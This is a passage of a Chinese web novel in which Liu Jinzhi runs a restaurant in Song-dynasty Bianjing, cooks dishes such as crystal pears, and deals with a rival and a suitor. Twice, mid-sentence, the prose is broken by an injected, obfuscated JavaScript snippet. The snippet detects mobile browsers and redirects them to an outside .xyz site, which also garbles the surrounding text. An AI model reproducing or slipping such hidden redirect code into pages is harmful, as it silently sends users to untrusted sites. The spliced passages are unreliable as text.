不知这竹筒饭的米饭是怎么做的，居然颗颗分明，呈现圆润饱满的形状。中间掺杂着一两块小碎猪肉，叫人食指大动。 应天爵可不讲究那么多，直接扒了一口，瞬间觉得这米饭香弹软糯有嚼劲，猪肉切的细碎，却保留了肉香，和盐巴、米饭、竹香混杂在一起，恨不得把舌头鲜得掉下来。 其余二人虽然吃相文雅些，但也是速度极快，一个竹筒其实也不大，三个大男人没一会儿就吃完了。 潘琅寰深呼一口气，犹觉不足地唤道：“安玉，再去给我点一份儿。” 潘安玉却不满地皱皱眉：“哥，我现在是工作时间，你得管我叫小二。” 潘琅寰：…… 他真想一马鞭抽死这个小兔崽子。 但看在竹筒饭的面子上。 “小二……”潘琅寰黑着脸，“给我来一份竹筒饭。” “诶，好嘞！”潘安玉一下子活泼起来，笑容满面，“您等着，我这就去，竹筒饭一份儿！” 与此同时，其余吃了竹筒饭，却因为一份量太少根本不够吃的食客们，也纷纷举手点菜。 “小二，我也要一份！” “也给我一份！” “小二……” …… 强大的呼声将柳金枝从后厨唤了出来。 她笑呵呵地拉出单子牌面。 “诸位，竹筒饭第一份是本店友情赠送，但第二份就要诸位花钱购买了。”她比出三根手指，“一份，三十文。” 这下子应天爵算是知道柳金枝打得什么算盘了。 他笑道：“我这妹子就是精明，我说她怎舍得送我们一人一份竹筒饭呢，原来是在这儿等着呢。” 尝过了滋味，又没吃饱的食客很容易被食欲吊起来。 欲望一浓，就管不住自个儿的钱袋子。 果然，在场但凡是尝过竹筒饭的，纷纷掏银子买了下一份儿。 三十文啊。 搁外头能买一斤肉了，吃朝食都能吃两遍了。 现在却拿来买一份儿竹筒饭。 但此时此刻，没人嫌贵。 柳金枝笑着进了膳房，道：“阿芹，再准备五十份儿竹筒饭！” 今天的柳氏小饭馆可谓是一炮而红，生意爆火。 开业就能达到如此水平，也让小饭馆成功在汴京扬了一些名声。 至少太常寺附近几条街的居民都知道了有个新开的柳氏小饭馆了。 唯一对此不满的，大概就只有孙玉香了。 “你说什么？那贱///人什么时候有如此手艺？！” 孙玉香嫉恨地瞪大了眼睛。 “哼，柳金枝以前惯会在娘子面前装可怜，说不定她早会做菜，却一直藏着掖着不肯说，就是不肯为娘子出力。” 这番话说的孙玉香更是气恼。 “往日她在时，恰逢公公寿诞，她明知道我为了操办好宴席，连夜去寻手艺高超的饭局局长。她明明什么都会，却眼睁睁瞧着我着急上火，半个字都不愿意吐露。” 孙玉香咬牙切齿。 “亏我往日还将她当做知心姐妹，果然！她和你们说的一样，是个早就觊觎我家富贵的贼//贱//妇！” 她气得恨不得落下泪来。 丫头叹了口气，劝道：“娘子，知人知面不知心，您以前就是太心善，才会被她骗。如今三郎君应了考，您又稳坐后宅，前途一片光明啊。” 说着，就搀扶着孙玉香往前走了两步。 “现下最要紧的，是和汴京城的官家小姐，高门夫人们交好，彻底稳固住自己的地位。” 孙玉香吐出一口浊气，道：“你说得对。” 她抖开一张帕子，擦了擦眼角，重新朝前方一座宅邸走去。 仰头一看，那宅邸上的牌匾龙飞凤舞地写着两个字—— “傅府”。 38. 彩色春饼福袋 柳氏饭馆开业全仰仗傅钗华襄助。 于情于理，柳金枝都应该上门拜谢。 所以在第二天，她就预备做一道“彩色春饼福袋”，亲自送给傅钗华。 因为这道菜需要集齐多种颜色。 柳金枝就按照前些日子做紫荆花水晶饺的方法，让月牙帮她去邻居家又摘了一篮子紫荆花，另外还备下了菠菜、山楂果子、香菜……等等。 紫荆花放入石臼里，捣出来的颜色就是深紫色。菠菜是碧绿色。山楂果子是浅红色。 把这三碗汁水摆在一边，又拿出面粉来和清水。 等到面揉得半稀不干的时候，把这一团面分作三份儿，分别倒入紫荆花汁、菠菜汁和山楂果子汁上色。 阿芹想要过来帮忙，但柳金枝觉得她手上力气不够大，揉出来的面不够劲道，就只让她帮忙烧水。 但就是这样的粗活儿，阿芹也做的很仔细。 柳金枝很喜欢阿芹这股奋发向上的学习劲头，问道：“阿芹，你有没有想过当这饭馆的主厨？” “啊？”阿芹愣了愣，不好意思地说，“可我听说主厨都得是有一门绝技才能当的，我没有什么独门的手艺，当不了。” 柳金枝笑了笑，道：“你会做什么？” 阿芹挠挠头，道：“我是山西人，最会做我们哪儿的家乡菜，糖醋丸子、过油肉……之类都会一些，但不算精通。” “那你做给我试吃一下。”柳金枝道。 阿芹点点头，另起了一口灶眼。 等柳金枝把面揉好，放在一边醒面的时候，阿芹已经把食材都找了出来。 她预备做糖醋丸子。 这类丸子都是拿新鲜猪肉做的，喜欢不同口味的，还可以往肉里放点萝卜碎。 不过阿芹偏向于纯肉丸，所以她将猪肉拿出来切碎、打成泥，放入盆中，再加调味料，如盐、蚝油、酱油…… 用竹箸顺着一个方向搅和，搅和几次之后加一次葱泡水，紧接着再搅和。 等到搅和到手上阻力变大，猪肉都粘在盆上搅不动了，这样做出来的肉丸不仅不会散，而且非常具有弹性。 柳金枝帮阿芹起锅烧油，两人一块用瓷调羹挖了一勺子肉馅儿，捏吧捏吧做成圆丸子，放入油锅中去炸。 滋啦一声—— 金黄的油围在肉丸子周边，将猪肉炸出诱人的味道。 但炸肉丸顶多就炸五分钟，因为如果炸的太久了就会把肉丸炸黑，肉质也会变老，嚼起来就会硬邦邦的，没有弹性。 所以在锅中翻腾五分钟，表皮酥脆金黄之后，阿芹就把油炸丸子倒入一个干净的盆中。 才刚落进盆里，丸子就在盆底弹了两下，才滚落到一边安静不动了。 柳金枝对这丸子的弹性颇为意外。 一盘肉丸大概二十几个，本来也是试做，所以阿芹做的更少，只炸了十个左右就开始调酱汁。 一勺生抽，一勺老抽，两勺陈醋，四勺白糖，还有盐和淀粉等等调味料都放在一个干净碗里面搅拌均匀备用。 下一步就是起锅将葱花姜末爆香，炒到一定程度后，再把调好的酱汁倒进去，反复翻炒到浓稠。 先放蒜末，再放丸子，紧接着继续翻炒到锅里的酱汁，让酱汁均匀沾染到每一个丸子的身上，变成酱油香色。 本来经过油炸的丸子就有一种酥脆的油香，此时经过反复大火煸炒，更是炒出一种肉香。 最后起锅收盘，撒上芝麻、葱花，一盘山西特色菜——糖醋丸子就做好了。 柳金枝夹了一个起来吃，阿芹面露期盼的看着他。 “师父，怎么样？味道还行吧？”阿芹问。 柳金枝点点头：“味道还不错，但是——” 她又回味了一番，感受着嘴里丸子的味道。 “先说优点，丸子确实很弹、很有嚼劲，调出来的酱汁也很好吃。因为油炸的时间不长，所以保持了肉丸的鲜味，还带着一股淡淡的油香。” “但问题是，如果肉丸里不加任何素菜，吃多了就会导致食客腻味，更何况这个肉丸本来就经过油炸和翻炒，重油重盐，会加快腻味的速度。” “第二，肉馅虽然香，但更多的是原味，味道失于平淡，你应该多加一些五香粉来调味。” “另外，你的肉丸口感太过厚重了，一口下去全是肉味儿。其实你应该加些面粉、包子等面食类中缓一下，这样会让你肉丸的味道更清淡。” 柳金枝放下竹箸：“但我觉得这盘菜很有成为招牌菜的潜力，只是配方需要我们再改变精进一下。” 阿芹听的两眼放光：“师父说的有道理，我现在再去试试。” 柳金枝点点头，放任阿芹再去重新准备肉馅儿。 刚好她的面也发的差不多了。 于是把面团揪出来，按照颜色一个个揪拽成小块，再用擀面杖擀成薄皮。 这次的饺子皮不比上一次，这一次她在揉面团的过程当中特意加入了碱水，作用是让饺子皮变得更薄，更嫩，更韧。 就像现代包云吞的皮一样。 馅儿包在皮里面，都能隐隐约约的透出模样。 三种不同的颜色，每一类她一共擀出了十片，然后垒在旁边备用。 至于里面的馅儿应该放什么？ 柳金枝定下的是蔬菜丁馅儿。 把一些春日里常见的蔬菜都拿过来，比如梢瓜、芦菔、茭首、莴苣、野山蕈……等等。 全都切丁、焯水，再加生抽和蚝油在锅里炒匀。 等炒到素菜都散发出清香的味道。 柳金枝就拿过饺子皮，一边在皮上涮油，一边将这些素菜都包到皮里。 这道菜的名字竟然叫做彩色春饼福袋，那最后做出来的样子自然与福袋相似。 所以在包完馅儿之后，柳金枝没有像做饺子一样简单的把皮捏在一起，而是将早就准备好的香菜焯水。 等到香菜焯软之后，将之当做绳子，把饺子皮像包袱皮一样拴起来，扎成一个福袋的样子。 从外面看这福袋的皮又薄又透，可以看见里头红红绿绿的蔬菜丁。更别提几种不同颜色的福袋凑在一起，看起来花花绿绿，煞是吉祥好看。 最后柳金枝把这些福袋放入蒸笼里面蒸一遍，每五个放进一个碟子，收成了两个食盒，一左一右提着，坐上驴车去了傅府。 依旧是双儿给她开的门，二人并肩穿过回廊，往后院里走。 双儿道：“娘子来的真是巧，正好有一位娘子正陪着我家夫人说话。我家夫人当着她的面夸你手艺好，那位娘子还说想要试试你的手艺呢。” 以傅钗华的身份，她当着人家的面夸赞柳金枝，其实是在给柳金枝抬面子。 柳金枝很感谢傅钗华对她的帮助，道：“主家已经帮了我很多，再对我这般好，我真是不知道该怎么报答了。” 双儿道：“我家夫人常说与人方便就是与己方便，娘子只要好生照顾好夫人的胎，其余的都没什么。而且撇开我家夫人不谈，其实我私心里也希望娘子多过府来走走。” 柳金枝不理解双儿为什么这么说。 大概是柳金枝的人品值得信任信任，双儿也不打哑谜，道： “我不是说现在正有位娘子陪着夫人说话？她不止是今日来，她是日日来。” “来了以后就缠着夫人，夫人想要休息，明示暗示让她走。” “可人家就跟听不懂话一样。” “甚至夫人在里头睡觉，她就在外头等着，这般行径当真让人……” 双儿撇了撇嘴，没把话说完。 但柳金枝也知道双儿怕是对这位娘子十分瞧不上。 不过豪门大家的事情轮不到柳金枝多插嘴，听过了就当是没听过，安静做一只情绪垃圾桶。 最多时不时再安慰一下双儿，承诺下一次来见她，多带一些吃食给她。 果然，双儿看柳金枝的眼神软了不少，想是更加喜欢柳金枝了。 “哦，对了，双儿姐姐，这个食盒还请你帮我交给二郎君。” 柳金枝把一只食盒递给双儿。 “里头的吃食与夫人的一样，都是彩色春饼福袋。” 双儿接过食盒，爽快答应：“好，我一定送到。” 其实一开始，双儿也怀疑柳金枝对傅霁景有不轨意图。 但后来发现柳金枝只是单纯报恩，从来没有借着吃食去与傅霁景单独见面，也不会在府内多说什么。 是个很老实本分的人，双儿也就慢慢放下了戒心。 再加上杏安一直在她耳边念叨柳金枝的菜，她把这食盒送过去，也可以堵住杏安那烦人的嘴了。 与此同时，傅霁景处。 傅霁景穿着一身暗碧色春裳，正站在一张长案前，仔细观察手中的一块羊脂玉。 而长案上还放着许许多多的礼盒，每个盒子里面都放着或金、或银、或珍珠、白玉的钗、簪、镯子一类。 “杏安，你觉得用这个去贺柳娘子开店大吉如何？” 傅霁景扭过头问杏安。 杏安撑着脸，道：“二郎是要自己亲自送，还是让我跑腿去送？” 傅霁景犹豫了一下，道：“在礼数上，自然需要你去送。” “那二郎就看着挑吧，送什么都没区别。” 杏安耸耸肩。 傅霁景：…… 傅霁景慢吞吞道：“却也不能这样挖苦我。” 杏安哼哼两声，道：“二郎，你对柳娘子什么心思，我可不瞎。只是既然心悦人家，为何不大方些？” 傅霁景抿了抿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588198|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇，低声道：“我有我的顾虑。” “确实，如二郎这般的身份，婚嫁之事确要慎重。”杏安叹了口气，“但柳娘子是个一顶一的好人，你今个儿不主动一些，明个儿指不定柳娘子就有人家了。” 傅霁景眉心一皱：“谁？” “应天爵告诉我的，有家姓潘的，对娘子似是很青睐。”杏安凑近了傅霁景，低声开口，“听说那家的家主有位义父，乃是宫内的曹大监！” 曹大监，便是天子身边的近侍。 听说曹大监进宫改姓之前，本家就是潘姓，与这潘家必然是沾亲带故。 如今潘家的掌权人又认了他做义父，更是亲上加亲。 于情于理，曹大监都会为潘家多加考虑。 傅霁景攥紧了手中的羊脂玉，第一次感受到了紧迫和茫然。 而另一边，傅钗华的房间内。 柳金枝端着食盒进门，刚给傅钗华行完礼，站起身时，却在傅钗华身边见到了一个意料之外的人。 孙玉香与柳金枝双目相对，互相都感到一丝错愕和惊诧。 甚至孙玉香身边的丫头忍不住低叫了一声：“娘子，竟然是她！” 这般情况，除非傅钗华是个聋子、瞎子，否则一定能看出孙玉香和柳金枝相互认识。 傅钗华笑道：“怎么？你们二位莫不是有些渊源？” 柳金枝与孙玉香对视了一眼。 孙玉香眼神紧张，面色微微发白，似乎很怕柳金枝在傅钗华面前揭她的短。 柳金枝眉峰一挑，眼眸中流露出些许不屑。 她是看不起孙玉香这般欺软怕硬之辈的。 二人打了几秒钟的眉眼官司，柳金枝才开口，道：“回主家的话，我与这位娘子确实认识。” 柳金枝将自己过去的经历全盘托出，不过为了双方面子着想，她略过了跪死在雪地里的那一场。 这也不是为了替孙玉香遮掩，而是她即便在傅钗华面前控诉了孙玉香的不是。 傅钗华又不是青天大老爷，难道还能判了孙玉香去打板子不成？ 况且她也不想在傅钗华面前留下背刺旧主的印象。 只要孙玉香还是老样子，迟早是要在傅钗华面前丢丑的。 她不必去趟这趟浑水。 孙玉香自然也不想让傅钗华觉得自己恶毒，她可是早听说过傅府“与人为善”的名声。 也就咬了咬牙，勉强点头笑道：“是啊，我们曾是主仆，但后来柳娘子奴期满了，我就放她回了汴京。” “竟然这么巧。”傅钗华笑着让柳金枝也坐下，“看来这个世界真是小，兜兜转转总能遇到熟人。” 柳金枝皮笑肉不笑地瞥了孙玉香一眼。 “我方才还在孙娘子面前夸你呢，说你手艺好，孙娘子说有机会也把你请到家里去主持四司六局。” 傅钗华笑着说道。 孙玉香顿时面色难看。 她来傅府本就是想来巴结巴结傅钗华，谁不知道现在整个汴京就属傅家权势最大？ 所以自然是傅钗华说什么，她就跟着附和什么了。 谁知道对方赞不绝口的膳工娘子，居然就是柳金枝！ 孙玉香只觉得胸口闷得慌，她巴结不上的人，倒叫柳金枝攀上了。莫名矮了一头不说，就是以后想再针对柳金枝都不好下手了。 “若得孙娘子相请，自然是我的福气。” 柳金枝淡笑着说，随后从食盒里取出彩色春饼福袋来，一一摆在桌面上，岔开了话题。 “来，主家试试这个，叫彩色春饼福袋，一个小袋子装些福气，愿主家吃了以后，能福盈满门，保佑肚子里的孩子平平安安，聪明伶俐。” 柳金枝笑眯眯地说。 她是惯会夸人的，也很聪明，知道要夸一位准母亲，就要赞扬对方的孩子。 果然，傅钗华听后很高兴，笑道：“我也希望这孩子将来能和二郎一般出色。” 孙玉香不满柳金枝一进来，就引得傅钗华只注意她一个，也就插嘴道：“说到二郎君，好像就快放榜了吧。二郎天资聪颖，必然能得个好名次。” “我听说今年春闱佼佼者众多，二郎未必能名列前茅，还是明日看看再说吧。” 傅钗华谦虚着，唇边却含着笑意，尔后又似想起什么，问： “对了，我听说候三郎今年也下场了，可有把握？” 柳金枝耳朵动了一动，看向孙玉香。 别的她不在乎，但侯三郎这个捣子若是能中举，就真是老天不开眼了！ 孙玉香掩着帕子笑道：“我家三郎自从回了汴京就日夜苦读，我想应当是有些希望的。” 言语之间，得意地看了柳金枝一眼。 柳金枝：…… 谁能来给孙玉香一巴掌？！ 39. 水晶梨子 小饭馆开业，红红火火。 第三日时，应天爵、项志轩还有潘琅寰、潘安玉都送来了贺礼，傅府也是一样。 不过让柳金枝奇怪的是，傅霁景的贺礼不仅独立在傅府之外，而且送的还是块玉佩。 可柳金枝……用不上玉佩。 她更喜欢潘琅寰送她的镂鍮装花盘架车。 那可真是她心心念念了好久的东西。 还有潘安玉送她的镶金柄锅铲，拿出来炒菜又帅又有面儿，显得她好像特富贵一样。 项志轩更是送了她一本珍藏的食谱，里头有很多柳金枝在现代就想知道的膳食配方。 唯有傅霁景这个，中看不中用。 但柳金枝摸着这块玉佩想了想，还是没把它收起来，而是在腰上寻摸了个地方。 挂上了。 * 往后日子照旧，但离开了太常寺周边，没人在耳边嚼闲言碎语，孙玉香也没来找麻烦，生活还是更加轻快了一些。 正是这个时候，杜卫来报，他打听到那几个无赖的住处了。 “他们住哪儿？”柳金枝问。 “宣泰桥附近。”杜卫道。 宣泰桥？ 柳金枝气得一笑。 怎么这地方专门出地痞无赖？她那个被流放的好舅舅可就是从宣泰桥出来的。 “杜卫，你找人继续盯着他们，看他们接下来预备做什么。” 柳金枝道。 杜卫点头。 此后又小半月，饭馆生意异常红火，柳金枝没时间再去关注其他，一心一意扑进生意里。 直到春闱放榜了。 这一天无论是下场还是没下场的，都挤在了礼房前争相查看名次。 考中的欣喜若狂，满面红光。 没考中的仰天大哭，甚至有人数度晕厥，需要有家里人搀扶回去。 柳金枝和柳霄也去凑了一下热闹。 这张贴在布告栏上的团榜写满了密密麻麻的名字，从录取的第三百名到最中间的第一名。 唯有第一名的名字是用朱红笔墨写的。 醒目又刺眼。 柳金枝看见那个名字是傅霁景。 没人觉得意外，傅霁景不得这个名次才意外。 柳霄感叹了一句，道：“阿姐，若我以后也能像傅郎君这般得中魁首就好了。” 柳金枝也深有感触地点点头，道：“阿姐回去给你多做点鱼吃。” “干什么？” “补补脑子，说不定就能考中了。” 柳霄失笑，道：“阿姐你就会打趣我，你且等着，我一定考给你看。” “那好，我就等着当魁首的姐姐。” 姐弟二人相视一笑。 但是柳金枝没忘记一件事情，她凑上前把整个榜单从头看到尾，又从尾看到头，反复三遍。 柳霄不解，问：“阿姐，你是在找项志轩和潘安玉吗？” 说着就给柳金枝指，“项志轩在这儿呢，第一百三十二名。潘安玉没考上，这里头没他的名字。” 柳金枝摇头道：“他俩什么水平我还不清楚？我没找他们，找的是另一个。” “哪个？” “一个姓候的捣子，哦，对了，就是那孙玉香的相公。” 等到柳金枝反复确认过，都没找到那个候三郎后，顿时春风满面。 “我就说候三郎这个捣子不可能考上，就他那样儿，读《论语》都磕绊。” 柳金枝爽的不得了。 “也只有孙玉香拿他当个宝，成天藏着掖着不给人家瞧，生怕人家跟她抢。” “上回在我面前还洋洋得意地说，她家夫郎是很有希望高中的。” “结果名落孙山！” 上回从傅府回来之后，柳金枝就惦记着这事儿，憋了许久。 此时考试成绩尘埃落定，柳金枝终于能放开了吐槽孙玉香了，当然，柳宵也很乐意听。 姐弟两人一路走，一路聊，都乐呵呵的。 但到了饭馆儿门口一看，倒是见着了个不速之客。 傅霁景与杏安两个站在门口，傅霁景一身春裳，眉眼温柔儒雅。 杏安站在后头对着柳金枝机灵地眨了眨眼，笑道：“柳娘子，我们可等着你回来了。” “饭馆里头有杜卫、阿芹，你们有事大可以先寻他们。”柳金枝颇为意外，“怎么等在门口了？也不怕累着。” 一边说着，一边请人进屋，又道恭喜傅霁景得中榜首。 傅霁景温声谢过，又道：“我有一事，还是与你面对面交谈会更好一些。” “什么？” “我想借贵宝地办一期同期集会。” 站在现代的时间线往古代回看，总能发现不少文人写过怀念友人的诗。 有些重情义的，还会在友人落难时帮一把。 联系更紧密些的，就能组成一个文官集团，互相扶持，两肋插刀。 然而若是有人做过研究分析，就可以发现，这些人所帮扶、怀念的友人都并非自己的同窗，而是自己的同期。 也就是一起考取功名的人。 只是考生们来自天南海北，能凑在一起的日子，不过是考场上的答卷时光，哪儿来的时间培养这么深厚的感情？ 答案就是：同期集会。 每次有中举名单出来，就会有人整理成册，分发到每个考生的手里。 再由其中最有名望的考生举办一个同期集会，让大家都来参与，互相认认人，交交朋友。 到后来，这种集会与其说是朋友碰面，倒不如说是搭建自己在汴京的人脉关系网的第一步。 所以有些寒门学子哪怕是借钱都要参与，为的就是将来的官路走的平坦些。 如果傅霁景选择柳氏饭馆作为同期集会的场所，柳金枝不仅能赚到银子，还能让柳霄多结识一些人物。 简直是一举两得的事情。 柳金枝都没想到这么好的事情能落在自己头上，忙不迭答应下来。 “傅郎君，你们大概什么时候来？” 傅霁景笑道：“中举之后，我们还要举行乡里祭酒、叩谢皇恩、纳名报道，若要忙完，怕又要小半个月。” 一边说，一边从袖子里取出一袋银子交给柳金枝。 “这十两银子先算作我的订金，若有不够，娘子尽管来傅府找我。” 柳金枝看着银子咧嘴笑开了，道：“郎君日理万机，我可不敢打扰，若有事，我只管找杏安就行。” 傅霁景默了一下，慢吞吞道：“其实我最近也不算忙，毕竟春闱已过。” “呃呃。”柳金枝挠了挠头，改口道：“那郎君既然不忙，我有事就与郎君相商。” 毕竟是一棵多金的大树，还是哄好一点为好。 傅霁景又笑起来：“好，随时恭候。” 柳金枝望着他温暖俊眉的眉眼，心中不由一动。 傅霁景生的……真是好看。 * 柳金枝等人出去踏青时还是立春，放榜时已是雨水节气，而再等到半月后的同期集会，便是惊蛰。 作为中国的二十四节气之一，惊蛰的到来象征着天气转暖。 春雷初鸣，惊醒蛰伏于地下的冬眠的昆虫和动物。 无论是古还是今，对于这天都有很多的习俗。 于宋朝人，身份不同则形式不同。 茶农会在惊蛰这天进行“喊山祭茶”，被赵汝砺在《北苑别录》中称之为：“春虫震蛰，千夫雷动，一时之盛，诚为壮观”。 工匠则延续《周礼》中所记载的“启蛰之日蒙鼓皮”的传统，在这天选择鞣制牛皮蒙鼓。 像柳金枝这类平头老百姓，自然是做些普普通通的事。 先是带着一家人把院子里里外外都打扫一边，又在庭院周围撒上驱虫药。 阿芹则是心灵手巧，给家里人都缝制了一个五毒包。 “这是我家乡的习俗，戴五毒包，挂彩丝绳，雷神就会保佑大家百毒不侵。” 阿芹笑着把五毒包分发下去。 月牙拿到了一个绣着山茶花的，捏在手心里，精致小巧，还香香的，她很喜欢。 “谢谢阿芹姐姐。” 杜卫和柳霄两个少年都不好意思，红着脸接过道谢。 柳金枝端着个铜盆，一边走，一边在庭院里洒水驱尘，道：“对了，今天谁去买梨子呀。食梨离虫，这可免不得。” 宋代百姓在惊蛰吃梨，既是因为梨与“离”谐音，寓意远离虫害，也因为梨子润燥功效符合春季养生需求。 那位宋朝著名的吃货诗人——苏轼，还曾记载过将梨与橙子捣碎加醋盐调制的果饮，兼具驱虫与美味。 柳金枝还蛮想试一试的。 “不用买，隔壁黄婶子和钱婶子送了我们好几篮子。”柳霄接话，从门槛后提出来两篮子香梨给众人看，“瞧，都新鲜的不得了。” 柳金枝走过去看。 果然，篮子里的梨子一个个水灵灵的，每个都有成年人拳头大小，闻一闻，梨子的清香扑鼻而来，叫人忍不住新生愉悦。 “那今天我给大家做个新菜式吧。”柳金枝笑眯眯地说。 “哈哈，东家下厨，咱们这回又有口福可享了。”杜卫咂咂嘴，“就是不知道是什么新菜式。” 月牙、柳霄还有阿芹都很期待。 柳金枝拿起一个香梨，在手中高高抛起，再接上，狡黠一笑，道： “水晶梨子。” 做这道小食需要预备下香梨两个、金橘四颗、红枣四颗，以及银耳半朵。 据《本草纲目》记载，银耳有清热润肺、补气益虚的作用。 再加上银耳本是一种真菌，可以在山上采得。 因此发现了银耳的宋朝人也爱用银耳来煲汤，或者是售卖。 柳金枝让杜卫出去跑个腿，就买了一袋子上好的银耳回来。 她把银耳放在水中泡发备用，然后把钱婶子等人送来的香梨洗净，小刀削皮，果蒂留用，果肉去皮、去核、切块。 金橘也清洗干净。 红枣对半切开，把里面细长的棕色枣核挑出来。 再统统倒入一只炖锅当中。 阿芹好学不倦，依旧蹲在一边帮忙打下手，所以没等柳金枝吩咐，炖锅的灶眼里就起了火。 柳金枝把梨肉、梨、泡发的银耳、金橘、红枣都放入炖锅里头去，再加入适量的冰糖、清澈的井水，一起炖煮大半个时辰。 换算成现代时间，就是一点五个小时。 往锅内看，可以发现随着时间的推移，锅内吞吐着大量白色蒸汽，井水被逐渐煮干，汤汁逐渐粘稠起来。 等到井水全部熬干，只剩下最为粘稠的浅色液体的时候。再准备一个过滤网，把锅内的液体倒入过滤网之中。 把渣滓丢掉，余下一些像半固体一样流动的东西，就是混合了冰糖、银耳的梨汁。 如果现在去吃它，口感可能会像果冻？ 但柳金枝做菜讲究色香味俱全，不会把这个半成品端出去见人。 所以她把过滤出来的梨汁再次倒入另一个炖锅之中，将其煮沸、溶解，再加入一些白凉粉进行搅拌。 等到白凉粉溶解的差不多了，将梨汁倒入准备好的模具之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594062|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中，根据自身喜好加入适量，可使用的花草或者果干。 家里的人都很喜欢吃金橘，所以柳金枝加的金橘很多，红枣次之。 一瓣瓣金黄饱满的橘片果肉，放入梨子形状的模具当中，再倒进梨汁，尽量让梨汁包裹住整片金橘。 但这时候看起来还不像真正的梨子。 而削梨子时留下的果蒂就派上了用场，柳金枝将果蒂小心翼翼插在梨子模具的头部，保持和原来的梨子果蒂位置一模一样。 月牙撑着白净的脸，声音软软的问：“阿姐，现在可以吃了没有呀？” 柳金枝摇摇头，笑道：“还差最后一步。” 于是把梨子模具整个端起来，快步朝一个方向走去。 那是自家冰窖。 杜卫和柳霄在柳金枝的示意下，合力把冰窖口的盖子打开，瞬间，一股寒意冲出来，冻得众人忍不住抖了一下。 柳金枝站在冰窖口往下看，可以见到冰窖不大，而且还黑漆漆的，从头顶泄露的光源，勉强可以看见里面储存了三四桶冰，每个桶上又加了盖子，严丝合缝的封着。 “来，我先下去，你们给我搭把手。” 柳金枝把手里端着的模具递给杜卫，自己提着衣裙先爬下冰窖，启开其中一只冰桶的盖子。 寒气更甚，成股成股朝外头扑去。 “东家，接着。” 杜卫半跪在冰窖口，把模具递下去。 柳金枝接过，再整个放到冰桶里头，和冰块挨在一起，重新盖上盖子。 这就是做水晶梨子的最后一步，冷藏凝固半个时辰。 要是在现代，她打开冰箱放进去就好了。可偏偏是在古代，就只能借助这些存冰的冰桶帮忙。 条件有限，就注定了生产不能扩大。 不然柳金枝还是蛮想在夏天的时候，把这一手水晶梨子做出来售卖。 踩在风口上的生意，大概会跟之前的定胜糕一样卖的不错。 半个时辰之后，柳金枝再度爬进冰窖。 这回再端上来的，就是一个个晶莹剔透到像是用冰雕出来的水晶梨子。梨子圆滚滚的，憨态可掬，腹部还塞有金黄饱满的金橘瓣，又或者是火红的红枣肉。 刚好五个水晶梨子，每人一个。 阿芹上一次见这种做法，还是柳金枝做皮冻水晶脍之时。 但这回水晶梨子的做法，与皮冻水晶脍都不一样。 她好奇之下，凑近水晶梨子浅浅咬了一口。 舌尖顿时感受到了满满的香梨清甜，却又比之甜腻的梨子本身更淡。 口感上更是冰凉、滑软，一口咬下去，似乎都不用咀嚼，这冰冰冷冷的梨子就顺着口腔滑进了肚子里。 这样甜爽冰凉的吃食，她平生仅见。 历经几个时辰做出来的五个水晶梨子，还不到半盏茶的时间，除了果蒂被留了下来，就被所有人吃了个干净。 月牙抱着柳金枝的腿，哀嚎：“阿姐阿姐，下次多做几个嘛，我还想吃山竹馅儿的、荔枝馅儿的、石榴馅儿的。” 就是一向克制的柳霄，这回也是罕见点头附和：“这个水晶梨子味道真的太好了，阿姐，你是怎么想出来的呀？” 柳金枝挠挠头，不好意思一笑，依旧搬出最实用的敷衍话术—— “嗐，我就是在一本古籍上看见的。” 杜卫把所有人吃剩下的果蒂收起来扔掉，笑道：“自从跟了东家，我嘴都被养刁了。以后就算东家不发我工钱，我都不会走。这么多好吃的，在外头要卖上天价呢！” 柳霄听了，灵光一闪，道：“阿姐，水晶梨子做法特殊，以至产量不高，如果拿出去卖，必然要以高价出售。就是再好吃，愿意买的百姓也不多。咱们不如就在达官贵人之间宣传，吸引有钱人家来买。” 这不就是走精品路线吗？ 柳金枝觉得这主意可行，点头道：“最好是接受定做，再用这些大官贵客们自己的冰。咱们的冰还要留在夏天卖呢，来来回回开盖子，回头就化成水了。” 反正大户们对于喜欢的东西往往不吝惜银子，区区几块冰更不算什么了。 而且往这些高门大户里跑多了，也能认识不少人脉。 虽说认识不代表有交情，但混个脸熟总比脸生好。 不然就像一些纯粹的暴发户，遇见事情以后，就是捧着银子求人都不知道求谁。 但就有一件事让柳霄操心。 “但是阿姐，现在饭馆刚起步，里里外外都需要你操持，所以外出的时间不能长，还得有个人帮你看顾。” 柳金枝点点头，道：“这个事情我会考量的。” 其实阿芹是可以的，她做事细心，又有一定的手艺，但还不够纯熟。 等到阿芹能做出一道属于自己的招牌菜时，她就可以放心让阿芹帮忙看顾饭馆了。 不过柳霄的话也提醒了一下柳金枝。 “霄哥儿，等到饭馆再稳定运营一段时间，我们再招一些学徒如何？” “阿姐是想要膳徒？目前阿芹姐姐做的不好吗？” 柳金枝摇摇头，道：“阿芹做的不错，但她有自己擅长的手艺，我想，我可以帮她改进菜色，但让她完全像我一样做菜是不可行的。所以我想招收一些小学徒，一心一意学我的菜。” “阿姐此时倒有几分开山祖师授业的风范了。”柳霄望着柳金枝，满眼带笑，“说不定将来，青史也能记下汴京城里的柳家饭馆。” 这个未来虽然美好，却比她想开一家酒楼还遥远。 “我从来不做白日梦。”柳金枝拍拍柳霄的肩膀，“我还是觉得开酒楼更容易实现。” 40. 饭馆经营 饭馆的进项很稳定，每日的银钱流水最高能到五两银子。 